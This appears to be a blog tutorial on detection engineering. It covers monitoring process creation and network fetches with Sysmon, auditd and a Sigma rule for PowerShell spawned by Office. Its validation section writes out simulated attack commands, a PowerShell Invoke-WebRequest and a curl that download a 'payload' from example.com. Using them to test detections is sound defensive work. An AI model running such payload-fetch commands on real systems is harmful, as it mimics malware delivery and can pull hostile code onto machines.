Mastering Detection Engineering: How to Exploit Unchangeable Adversary Behaviors with Tier 1 Chokepoints + Video

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Introduction:

In the cat‑and‑mouse game of cybersecurity, adversaries constantly evolve their techniques to evade detection. However, certain behaviors remain immutable—no matter how sophisticated the attack, the adversary must still execute code and communicate with the command‑and‑control infrastructure. These “Tier 1 chokepoints”—process creation and network fetch—offer detection engineers a golden opportunity. By focusing on what the attacker cannot change, we can build resilient detections that survive lure evolution and tooling swaps.

Learning Objectives:

  • Understand the concept of Tier 1 chokepoints and why they are unchangeable.
  • Learn to monitor process creation and network connections on Windows and Linux using native tools and EDR telemetry.
  • Explore practical detection rules and validation techniques, including the use of the open‑source ClickGrab project.

You Should Know:

  1. Understanding Tier 1 Chokepoints: Process Spawn and Network Fetch
    The core insight, as highlighted by Jamie Williams, is that every malware execution chain must eventually spawn a process (e.g., PowerShell from an unusual parent) and fetch a payload over the network. These steps are unavoidable because the user initiates execution (e.g., via Run dialog) and the payload must be retrieved. Detections targeting these points are robust—they work regardless of lure evolution or obfuscation. For example, monitoring `powershell.exe` spawned by `explorer.exe` or `winword.exe` is a classic chokepoint detection.

2. Monitoring Process Creation on Windows

Windows provides multiple ways to capture process creation events. Sysmon is the gold standard for high‑fidelity logging.

Step‑by‑step:

  • Download and install Sysmon from Microsoft Sysinternals.
  • Use a configuration file that logs process creation (Event ID 1). A minimal config: 
    <Sysmon schemaversion="4.22">
<EventFiltering>
<ProcessCreate onmatch="include"/>
</EventFiltering>
</Sysmon>
  • Install with: `sysmon64 -accepteula -i config.xml`
    – Query events using PowerShell:

    Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} -MaxEvents 10 | Format-List
  • Look for anomalies like `powershell.exe` with parent `explorer.exe` or `cmd.exe` spawning from Microsoft Office applications.

3. Monitoring Network Connections on Windows

Network fetch (outbound connections to download payloads) is another chokepoint. Sysmon Event ID 3 (Network connection) captures this.

Step‑by‑step:

  • Ensure your Sysmon config includes network connections: 
    <NetworkConnect onmatch="include"/>
  • Query network events: 
    Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=3} -MaxEvents 10 | Where-Object {$_.Message -match "powershell"} | Format-List
  • For real‑time monitoring, use `netstat` to spot suspicious connections: 
    netstat -ano | findstr ESTABLISHED

    Then cross‑reference with process IDs using Task Manager or tasklist.

4. Monitoring on Linux

Linux adversaries also rely on process execution and network calls. Use `auditd` and netstat.

Step‑by‑step:

  • Install auditd: `sudo apt install auditd` (Debian/Ubuntu) or `sudo yum install audit` (RHEL/CentOS).
  • Add a rule to monitor process execution: 
    sudo auditctl -a always,exit -F arch=b64 -S execve -k process_execution
  • Search logs: `sudo ausearch -k process_execution`
    – For network connections, use `ss` or netstat:

    ss -tunap | grep ESTAB
  • Combine with process monitoring: identify unusual processes making outbound connections (e.g., a PHP script connecting to an external IP).

5. Using ClickGrab for Analysis

The ClickGrab project by Michael H. (https://mhaggis.github.io/ClickGrab/) visualizes process creation and network activity, making it easier to spot chokepoints. It captures clicks and correlates them with system events.

Step‑by‑step:

  • Visit the GitHub Pages site for documentation.
  • ClickGrab is a web‑based tool that accepts uploaded event logs (e.g., from Sysmon) and generates interactive graphs.
  • To use it, export your Sysmon events to CSV: 
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Export-Csv -Path sysmon_events.csv
  • Upload the CSV to ClickGrab’s web interface. The tool will display process trees and network flows, highlighting anomalies like a document reader spawning a shell.

6. Building Detection Rules

Translate chokepoints into Sigma or YARA rules.

Sigma rule example for PowerShell spawned by Office:

title: PowerShell Spawned by Microsoft Office
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
ParentImage|contains: 
- '\WINWORD.EXE'
- '\EXCEL.EXE'
- '\POWERPNT.EXE'
Image|endswith: '\powershell.exe'
condition: selection

– Deploy such rules in your SIEM to generate alerts.

7. Testing and Validation

Simulate an attack to validate your detections. For example, use a simple macro or Run dialog to launch PowerShell and download a file.

Test on Windows:

  • Open Run (Win+R), type powershell -Command "Invoke-WebRequest -Uri http://example.com/payload -OutFile C:\temp\payload.exe".
  • Check Sysmon logs for process creation (Event ID 1 with parent explorer.exe) and network connection (Event ID 3).
  • Verify that your detection rule fires.

Test on Linux:

  • Run `curl http://example.com/payload -o /tmp/payload` from a terminal.
  • Use `auditd` to see the `execve` call and `ss` to see the outbound connection.

What Undercode Say:

  • Key Takeaway 1: Focus on the unchangeable—process creation and network fetch. These chokepoints are immune to lure changes and provide durable detection coverage.
  • Key Takeaway 2: Leverage high‑fidelity telemetry (Sysmon, auditd) and visualization tools like ClickGrab to rapidly identify anomalies. Combine with Sigma rules for automated alerting.
  • Analysis: By understanding that an attacker cannot bypass these fundamental steps, defenders can allocate resources to monitor these choke points effectively. This shifts the advantage back to the blue team, forcing adversaries to operate in a narrower, more detectable space. The open‑source community, through projects like ClickGrab, is democratizing advanced detection engineering, enabling smaller teams to implement enterprise‑grade monitoring.

Prediction:

As detection engineering matures, adversaries will increasingly rely on living‑off‑the‑land binaries (LOLBins) to blend process creation with normal activity, and use encrypted tunnels to disguise network fetches. However, the chokepoints themselves will remain—processes must still be created and network connections made. Future detections will need to incorporate behavioral analytics (e.g., unusual parent‑child relationships, anomalous TLS handshakes) and machine learning to differentiate malicious from benign. Tools like ClickGrab will evolve to incorporate real‑time streaming and integration with EDRs, making chokepoint analysis a standard part of every security operations center’s workflow.

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